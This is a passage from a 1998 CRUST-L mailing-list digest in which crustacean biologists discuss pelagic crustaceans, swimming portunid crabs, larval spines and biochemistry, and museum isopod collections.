pelagic crustaceans (morphological adapatation to pelagic lifestyles, distribution, depth range, etc..). I would be very grateful to you for any information concerning: 1-the depth range and spatial distribution of typical pelagic mysids 2-the depth range (incl. vertical migrations) and spatial distribution of Euphausia. There must be thousands of published works in the litterature. One particular species would be enough (Euphausia superba ?) 3-the depth range and spatial distribution of Gnathophausia. The gigantic species Gnathophausia ingens (I read the paper by Hessler in 1985 -Trans. Roy. Soc. Edinburgh 76 p. 115-122) occurs between 400 and 900m; do the other species have a comparable depth range. I could not find any data. 4-the swimming abilities of the so-called swimming crabs (ex: Portunus). Are they occasional swimmers or do they live off bottom during their whole life cycle (forgive me to ask this stupid question, I am not a biologist !) 4-One more question: Halocyprid ostracodes are useful animals for comparison with possible Palaeozoic pelagic organisms. I found at least 3 types of ornamented patterns in the material I collected off Japan, for example - - reticulae and scales in Conchoecia daphnoides - -deep rectangular reticulae in Conchoecia imbricata - - terrace lines or fingerprint-like ornament in Conchecia lophura. These peculiar ornamented patterns must have a functional significance in close relation with the locomotion of the animal (during their vertical migrations ? to reduce sinking velocities ? to enhance buoyancy ?). I have no convincing answer at the moment. Does anybody have a clue or knows any published work dealing with the hydrodynamics of small crustaceans ? 5-last question : The carapace of some lower Palaeozoic bivalved arthropods bear long spines (anteriorly and posteriorly) very similar to the spiny processes in the Recent Conchoecia daphnoides or in the larval stages of decapods. I would like to know more about the morphology and functional morphology of the carapace or decapod larvae. For example, the zoea larva of porcelain crabs seems to have extremely long spines (what is the function of these features ? anti-predatorial ? to increase flottability). Does anybody knows any good paper about the subject ? Thank you very much for your help. Jean VANNIER ********************************************* Dr. Jean VANNIER Universit=E9 Claude Bernard Lyon 1 Centre des Sciences de la Terre UMR 5565 du CNRS 43, bd du 11 novembre 1918 69622 VILLEURBANNE Cedex =46RANCE fax: +33 (0)4 72448436 tel (office): +33 (0)4 72448000 extension 3829 e-mail: jean.vannier@univ-lyon1.fr http://www.univ-lyon1.fr/ufrcst/ ********************************************* home address: Jean et Ikuko VANNIER-MUTO 42, rue Malesherbes 69006 LYON -France- tel (home): +33 (0)4 72430032 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Peter J. Hogarth" Date: Wed, 4 Feb 1998 15:33:36 PST Subject: Re: CRUST-L: Re: eye-colour Hyperia According to Hayward & Ryland's Handbook of the marine fauna of NW Europe Hyperia galba has green eyes. It issome time since I last saw one, but I recall them as being green. I have to confess to being partly red/green colourblind, which is why I alwats check such things with someone who isn't similarly afflicted! Peter Hogarth On Wed, 4 Feb 1998 22:49:15 +0100 (BST) Magnus wrote: > From: Magnus > Date: Wed, 4 Feb 1998 22:49:15 +0100 (BST) > Subject: CRUST-L: Re: eye-colour Hyperia > To: wim@IMV.UIT.NO, crust-l@vims.edu > > In deepsea crustacea with superposition optics 'eyeshine' or 'eyeglow', the light remaining > after it has passed through the rhabdom and been reflected off the tapetum, is generally > orange because these animals usually have little in the way of shielding pigments (at night > they look like the glowing end of lit cigarette). In shallow water or coastal species > shielding pigments around the rhabdom may absorb some of the light and eyeshine will generally > appear more red. Variations in eyeshine will be the result of variations in shielding pigment > position and the efficiency with which the tapetum reflects particular colours o > f light. This > in turn will depend on the state of light adaptation of the animal. In light adapted > specimens from coastal regions shielding pigments will surround the rhabdom, cutting down the > amount of light reflected by the tapetum. The only light reflected will be the little that is > reflected by the shielding pigments - this will be a dull red. > > I have seen green eyeshine in mesopelagic shrimps but this was after the animal had been > pickled in saline formalin. Theoretically, the tapetum should be most efficient at reflecting > green light (since this is the predominant colour below 10 m). If there were no rhabdoms in > the way, perhaps an eye that had been damaged, maybe the reflected light would be green? > > Hope this helps, best wishes, Magnus > > + + + + + + + + + + + + + + + + + + + + + + + > > Magnus L. Johnson, Department of Biology, University of Leicester, > Leicester, LE1 7RH, U.K. > see : 'http://www.le.ac.uk/biology/research/blpgs.html#magnus' > and : 'http://www.geocities.com/CapeCanaveral/Hangar/5577/' > > email : mlj2@le.ac.UK > Tel : 0116 252 3353/2 > > \\\/----<==>-----\/// > [>{|||||||x: :x||||||}<] > ///\----<==>-----/\\\ > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= _________________________________________________________ Dr Peter J. Hogarth Department of Biology University of York P.O. Box 373 York YO1 5YW U.K. tel 01904 432817 fax 01904 432860 email pjh4@york.ac.uk _________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #118 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:17:53 1998 Date: Fri, 6 Feb 1998 03:07:33 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #119 crust-l-digest Friday, 6 February 1998 Volume 01 : Number 119 CRUST-L: Summer Courses, etc. on Marine Biology Web Page Re: CRUST-L: pelagic crustaceans Re: CRUST-L: pelagic crustaceans Re: CRUST-L: pelagic crustaceans RE: CRUST-L: pelagic crustaceans/Portunidae Re: CRUST-L: pelagic crustaceans CRUST-L: pelagic crustaceans CRUST-L: Larval biochemistry CRUST-L: Thalassinid larval starvation resistance CRUST-L: Budde-Lund and Oniscidean collections CRUST-L: artificially induced reproduction in Isopoda CRUST-L: swimming portunids CRUST-L: humphead wrasse stomach contents [none] CRUST-L: ATP in cerebral ganglion of E. sinensis ---------------------------------------------------------------------- From: Jeff Levinton Date: Wed, 4 Feb 1998 11:44:20 -0500 (EST) Subject: CRUST-L: Summer Courses, etc. on Marine Biology Web Page MARINE BIOLOGY WEB PAGE: AN EDUCATIONAL RESOURCE Now on MBWEB (http://life.bio.sunysb.edu/marinebio/mbweb.html) SUMMER COURSES AND INTERNSHIPS FOR YOUR STUDENTS FEBRUARY FEATURE: EVOLUTION AND POLLUTION IN AN ESTUARY LINKS TO MARINE LABS GLOSSARY OF MARINE BIOLOGY REFERENCE LISTS AND MORE....PLEASE CONTRIBUTE REFERENCE LISTS AND SUMMER COURSE REFERENCES Jeff Levinton Department of Ecology and Evolution State University of New York Stony Brook NY 11794-5245 tel 516 632 8602 fax 516 632 7626 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric Guinther Date: Wed, 04 Feb 1998 07:43:06 -1000 Subject: Re: CRUST-L: pelagic crustaceans At 04:25 PM 2/5/98 +0100, Jean VANNIER wrote: >Dear Colleagues, > >I am working on the early colonization (Cambrian to Silurian) of pelagic >niches by arthropods and I am currently looking for general information >concerning the Recent pelagic crustaceans (morphological adapatation to >pelagic lifestyles, distribution, depth range, etc..). I would be very >grateful to you for any information concerning: >4-the swimming abilities of the so-called swimming crabs (ex: Portunus). >Are they occasional swimmers or do they live off bottom during their whole >life cycle (forgive me to ask this stupid question, I am not a biologist !) It is my impression from field observation that the paddles on the fifth leg of swimming crabs (Portunidae) are used to burrow (back the animal) down into soft sediment or sand where it hides from predators and potential prey. They are not very good swimmers. I'd be interested in hearing if others have seen them "swim" Eric Guinther aecos@pixi.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Wed, 4 Feb 1998 14:10:43 -0500 Subject: Re: CRUST-L: pelagic crustaceans While the fifth pereiopods of portunids may have become modified to aid burrowing, in some species they are used very effectively for rapid sideways movements that lift them off the substrate. Some can also lift off the bottom and stay suspended in the water for extended periods (small blue crabs do this when going after baited hooks). Some of the so-called pelagic portunids cling to floating Sargassum, but reportedly chase down and catch fish in the water column. On the other hand, Carcinus maenas (if you consider this a true portunid) really doesn't swim at all. Chuck Booth >At 04:25 PM 2/5/98 +0100, Jean VANNIER wrote: >>Dear Colleagues, >> >>I am working on the early colonization (Cambrian to Silurian) of pelagic >>niches by arthropods and I am currently looking for general information >>concerning the Recent pelagic crustaceans (morphological adapatation to >>pelagic lifestyles, distribution, depth range, etc..). I would be very >>grateful to you for any information concerning: >>4-the swimming abilities of the so-called swimming crabs (ex: Portunus). >>Are they occasional swimmers or do they live off bottom during their whole >>life cycle (forgive me to ask this stupid question, I am not a biologist !) > >It is my impression from field observation that the paddles on the fifth >leg of swimming crabs (Portunidae) are used to burrow (back the animal) >down into soft sediment or sand where it hides from predators and potential >prey. They are not very good swimmers. I'd be interested in hearing if >others have seen them "swim" >Eric Guinther >aecos@pixi.com > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Wed, 4 Feb 1998 14:16:56 -0500 Subject: Re: CRUST-L: pelagic crustaceans > >To: jean.vannier@univ-lyon1.fr (Jean Vannier) >From: Chuck Booth >Subject: Re: CRUST-L: pelagic crustaceans >Cc: >Bcc: >X-Attachments: > >Dear Jean, >In response to your inquiries, I offer the following info >: >re: 4-the swimming abilities of the so-called swimming crabs (ex: Portunus)= =2E >Are they occasional swimmers or do they live off bottom during their whole >life cycle (forgive me to ask this stupid question, I am not a biologist !) > >Actually, a pretty good question. I think it is safe to say that most >portunids are primarily benthic, but some spend most of their time >clinging to floating Sargassum; I think it is the latter that have been >reported to chase down and catch fish in the water column. Check out the >following refs: > >Lochhead, J.H. (1960) Locomotion. In: Waterman, T.H. (ed.) The >Physiology of the Crustacea, Vol. 2, Academic Press. pp. 313-364. > >Lochhead, J.H. (1977) Unsolved problems of interest in the locomotion of >Crustacea. In: Pedley, T.J. (ed.) Scale Effects in Animal Locomotion. >Academic Press. pp. 257-268. > >K=FChl, H. (1933) Die Fortbewgung der Schwimmkrabben mit Bezug auf die >Plastizit=E4t des Nervensystems. Z. Vergl. Physiol. 19: 489-521 > > > >re: Does anybody have a clue or knows any published work dealing with the >>hydrodynamics of small crustaceans ? > >Luckenbach, M.W. and R.J. Orth (1992) Swimming velocity and behavior of >Blue Crab (Callinectes sapidus) megalopae in still and flowing water. >Estuaries, 15(2): 186-192. (See also references therein.) > >Herreid, C.F. and C.F. Fortner, eds. (1981) Locomotion and Energetics in >Arthropods. Plenum Press. See chapter by Bruce Hargreaves on >hydrodynamics of swimming by small crustaceans. > >Chuck Booth > >>Dear Colleagues, >> >>I am working on the early colonization (Cambrian to Silurian) of pelagic >>niches by arthropods and I am currently looking for general information >>concerning the Recent pelagic crustaceans (morphological adapatation to >>pelagic lifestyles, distribution, depth range, etc..). I would be very >>grateful to you for any information concerning: >> >>1-the depth range and spatial distribution of typical pelagic mysids >>2-the depth range (incl. vertical migrations) and spatial distribution of >>Euphausia. There must be thousands of published works in the litterature. >>One particular species would be enough (Euphausia superba ?) >>3-the depth range and spatial distribution of Gnathophausia. The gigantic >>species Gnathophausia ingens (I read the paper by Hessler in 1985 -Trans. >>Roy. Soc. Edinburgh 76 p. 115-122) occurs between 400 and 900m; do the >>other species have a comparable depth range. I could not find any data. >>4-the swimming abilities of the so-called swimming crabs (ex: Portunus). >>Are they occasional swimmers or do they live off bottom during their whole >>life cycle (forgive me to ask this stupid question, I am not a biologist != ) >> >>4-One more question: >>Halocyprid ostracodes are useful animals for comparison with possible >>Palaeozoic pelagic organisms. I found at least 3 types of ornamented >>patterns in the material I collected off Japan, for example >>- reticulae and scales in Conchoecia daphnoides >>-deep rectangular reticulae in Conchoecia imbricata >>- terrace lines or fingerprint-like ornament in Conchecia lophura. >>These peculiar ornamented patterns must have a functional significance in >>close relation with the locomotion of the animal (during their vertical >>migrations ? to reduce sinking velocities ? to enhance buoyancy ?). I have >>no convincing answer at the moment. >>Does anybody have a clue or knows any published work dealing with the >>hydrodynamics of small crustaceans ? >> >>5-last question : >>The carapace of some lower Palaeozoic bivalved arthropods bear long spines >>(anteriorly and posteriorly) very similar to the spiny processes in the >>Recent Conchoecia daphnoides or in the larval stages of decapods. I would >>like to know more about the morphology and functional morphology of the >>carapace or decapod larvae. For example, the zoea larva of porcelain crabs >>seems to have extremely long spines (what is the function of these feature= s >>? anti-predatorial ? to increase flottability). Does anybody knows any goo= d >>paper about the subject ? >> >>Thank you very much for your help. >> >>Jean VANNIER >> >> >>********************************************* >>Dr. Jean VANNIER >>Universit=E9 Claude Bernard Lyon 1 >>Centre des Sciences de la Terre >>UMR 5565 du CNRS >>43, bd du 11 novembre 1918 >>69622 VILLEURBANNE Cedex >>FRANCE >>fax: +33 (0)4 72448436 >>tel (office): +33 (0)4 72448000 extension 3829 >>e-mail: jean.vannier@univ-lyon1.fr >>http://www.univ-lyon1.fr/ufrcst/ >>********************************************* >>home address: Jean et Ikuko VANNIER-MUTO >>42, rue Malesherbes 69006 LYON -France- >>tel (home): +33 (0)4 72430032 >> >> >>----------------- >>To (un)subscribe to CRUST-L: >>Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >>To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >>Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >>----------------- > > > - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 =46ax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Li, Kevin" Date: Wed, 04 Feb 1998 11:23:27 -0800 Subject: RE: CRUST-L: pelagic crustaceans/Portunidae Callinectes sapidus is an excellent swimmer, very capable of swimming across the surface waters of the Chesapeake Bay in Maryland, where I regularly used to try (usually with success) to dip net them at night from fishing piers. I understand that they bury themselves as well. Check out our lakes web page! http://splash.metrokc.gov/wlr/waterres/lakes/index.htm Kevin Li King County Environmental Lab 322 W. Ewing St. Seattle, WA 98119-1507 >---------- >From: Eric Guinther[SMTP:aecos@pixi.com] >Sent: Wednesday, February 04, 1998 9:43 AM >To: crust-l@VIMS.EDU >Subject: Re: CRUST-L: pelagic crustaceans > >At 04:25 PM 2/5/98 +0100, Jean VANNIER wrote: >>Dear Colleagues, >> >>I am working on the early colonization (Cambrian to Silurian) of pelagic >>niches by arthropods and I am currently looking for general information >>concerning the Recent pelagic crustaceans (morphological adapatation to >>pelagic lifestyles, distribution, depth range, etc..). I would be very >>grateful to you for any information concerning: >>4-the swimming abilities of the so-called swimming crabs (ex: Portunus). >>Are they occasional swimmers or do they live off bottom during their whole >>life cycle (forgive me to ask this stupid question, I am not a biologist !) > >It is my impression from field observation that the paddles on the fifth >leg of swimming crabs (Portunidae) are used to burrow (back the animal) >down into soft sediment or sand where it hides from predators and potential >prey. They are not very good swimmers. I'd be interested in hearing if >others have seen them "swim" >Eric Guinther >aecos@pixi.com > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Keli Kringel Date: Wed, 4 Feb 1998 12:09:06 -0800 (PST) Subject: Re: CRUST-L: pelagic crustaceans Jean,=20 In case you haven't already found it, the following covers such general information on mysids and euphausiids: Mauchline, J. 1980. The biology of mysids and euphausiids. Advances in marine biology, Vol.3. Keli Kringel University of Washington School of Oceanography On Thu, 5 Feb 1998, Jean Vannier wrote: > Dear Colleagues, >=20 > I am working on the early colonization (Cambrian to Silurian) of pelagic > niches by arthropods and I am currently looking for general information > concerning the Recent pelagic crustaceans (morphological adapatation to > pelagic lifestyles, distribution, depth range, etc..). I would be very > grateful to you for any information concerning: >=20 > 1-the depth range and spatial distribution of typical pelagic mysids > 2-the depth range (incl. vertical migrations) and spatial distribution of > Euphausia. There must be thousands of published works in the litterature. > One particular species would be enough (Euphausia superba ?) > 3-the depth range and spatial distribution of Gnathophausia. The gigantic > species Gnathophausia ingens (I read the paper by Hessler in 1985 -Trans. > Roy. Soc. Edinburgh 76 p. 115-122) occurs between 400 and 900m; do the > other species have a comparable depth range. I could not find any data. > 4-the swimming abilities of the so-called swimming crabs (ex: Portunus). > Are they occasional swimmers or do they live off bottom during their whol= e > life cycle (forgive me to ask this stupid question, I am not a biologist = !) >=20 > 4-One more question: > Halocyprid ostracodes are useful animals for comparison with possible > Palaeozoic pelagic organisms. I found at least 3 types of ornamented > patterns in the material I collected off Japan, for example > - reticulae and scales in Conchoecia daphnoides > -deep rectangular reticulae in Conchoecia imbricata > - terrace lines or fingerprint-like ornament in Conchecia lophura. > These peculiar ornamented patterns must have a functional significance in > close relation with the locomotion of the animal (during their vertical > migrations ? to reduce sinking velocities ? to enhance buoyancy ?). I hav= e > no convincing answer at the moment. > Does anybody have a clue or knows any published work dealing with the > hydrodynamics of small crustaceans ? >=20 > 5-last question : > The carapace of some lower Palaeozoic bivalved arthropods bear long spine= s > (anteriorly and posteriorly) very similar to the spiny processes in the > Recent Conchoecia daphnoides or in the larval stages of decapods. I would > like to know more about the morphology and functional morphology of the > carapace or decapod larvae. For example, the zoea larva of porcelain crab= s > seems to have extremely long spines (what is the function of these featur= es > ? anti-predatorial ? to increase flottability). Does anybody knows any go= od > paper about the subject ? >=20 > Thank you very much for your help. >=20 > Jean VANNIER >=20 >=20 > ********************************************* > Dr. Jean VANNIER > Universit=E9 Claude Bernard Lyon 1 > Centre des Sciences de la Terre > UMR 5565 du CNRS > 43, bd du 11 novembre 1918 > 69622 VILLEURBANNE Cedex > FRANCE > fax: +33 (0)4 72448436 > tel (office): +33 (0)4 72448000 extension 3829 > e-mail: jean.vannier@univ-lyon1.fr > http://www.univ-lyon1.fr/ufrcst/ > ********************************************* > home address: Jean et Ikuko VANNIER-MUTO > 42, rue Malesherbes 69006 LYON -France- > tel (home): +33 (0)4 72430032 >=20 >=20 > =FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF >=20 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: REYNS@SBMS01.MSRC.SUNYSB.EDU Date: Wed, 4 Feb 98 18:43 EDT Subject: CRUST-L: pelagic crustaceans Jean, In response to your 5th question regarding the significance of spines in decapod crustaceans, you may want to read: Morgan, S.G. 1989. Adaptive significance of spination in estuarine crab zoeae. Ecology 70:464-482. Sincerely, Nathalie Reyns Marine Sciences Research Center State University of New York at Stony Brook Stony Brook, NY 11794-5000 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Thu, 5 Feb 1998 08:41:02 +0000 (SAST) Subject: CRUST-L: Larval biochemistry Fellow members I am planning several decapod larval rearing experiments (crab larvae mainly), and wish to examine various aspects of the biochemistry of these larvae. Unfortunately the biochemical analyses cannot be performed at the same institution where the rearing exps will be conducted due to a lack of facilities. In this respect I have several questions which I hope can be addressed: 1. Can the larvae be frozen until the analyses can be performed (about 6-8 months later). If so, what is a suitable freezing temperature? Does anyone have any comments/suggestions as to in what containers the larvae should be frozen. Should a smalll volume of water be included along with the larvae? 2. Can biochemical analyses be performed on larvae previously preserved in formalin? 3. Is anyone aware of very recent literature ie very late 1997/1998 which provides new techniques for C,N,H, lipid and protein fractions. I have several of Klaus Angers recent papers and will use similar techniques if there is no additonal info. Any comments!! Lastly, should we be able to freeze the larvae, I presume that eggs can be treated in the same manner! Looking forward to hearing from you. Regards Brent Brent Newman University of Zululand South Africa =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Thu, 5 Feb 1998 08:48:14 +0000 (SAST) Subject: CRUST-L: Thalassinid larval starvation resistance I am seeking any information pertaining to the influence of starvation and food limitation on the larval development of Thalassinid prawns and shrimps. I have reviewed the literature and as far as I am aware, such info is available for four spp only viz Upogebia edulis, U savignyi, Calianassa tyrrhena and C krausii. Only the publication on C tyrrhena involves direct experimentation in this respect - the others are basically observations. Is anyone aware of additional studies which I may have missed? My literature review revealed very little by the way of investigations on the larval ecology of thalassinids (not descriptions). Am I correct in assuming that the literature is scarce in this respect and I have not just missed several important papers? Regards Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Buz Wilson Date: Thu, 05 Feb 1998 18:40:23 +1100 Subject: CRUST-L: Budde-Lund and Oniscidean collections Please respond to Mary Petersen (mepetersen@zmuc.ku.dk) directly, and not to me or the list. Thanx ...Buz ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Copenhagen, Wednesday, 4 February 1998 Collections of oniscidean isopods referred to by Budde-Lund In connection with publication of a catalogue of (mainly) oniscidean isopods described by Gustav Budde-Lund (1846-1911), to be published in Steenstrupia, here, the author has listed 23 museums holding type material but was unable to locate nine collections (see list below) referred to by Budde-Lund. Any suggestions or additional information, e.g., city, country, fate of collections if known, etc., would be greatly appreciated. Please reply to me DIRECTLY, as I am a polychaetologist and not subscribed to CRUST-L. The following nine collections referred to by Budde-Lund were not located: Barreto Collection Brusima Collection Dollfus Collection Germany Keitel Collection Marburg, Germany Ortoneda Collection Ray Collection Simon Collection Uljanini Museum Thanks in advance for any help. Mary ------- Dr. Mary E. Petersen Assistant Editor, Steenstrupia Zoological Museum, University of Copenhagen Universitetsparken 15, DK-2100 Copenhagen O, Denmark Tel +45-35 32 10 67 --- Fax +45-35 32 10 10 E-mail: mepetersen@zmuc.ku.dk ------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Giuseppe Messana Date: Thu, 5 Feb 1998 10:06:32 +0100 Subject: CRUST-L: artificially induced reproduction in Isopoda Hello to everybody, I am looking for informations about artificially induced reproduction in Isopoda, is anyone out there working on the topic, or has any information about it. I am working with stigobitic isopods, blind or microphtalmic, so the classical peduncle ablation of crabs is a forbidden way. Any suggestions? Thanks and ciao! Beppe Dr. Giuseppe Messana Centro di Studio per la Faunistica ed Ecologia Tropicali del C.N.R. Via Romana 17, 50125 Firenze, Italia tel +39 55 2288232 - fax +39 55 222565 E-mail messana@csfet.fi.cnr.it =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Paul Haefner Date: Thu, 05 Feb 1998 09:07:53 -0500 (EST) Subject: CRUST-L: swimming portunids A bit redundant, but even large blue crabs (C. 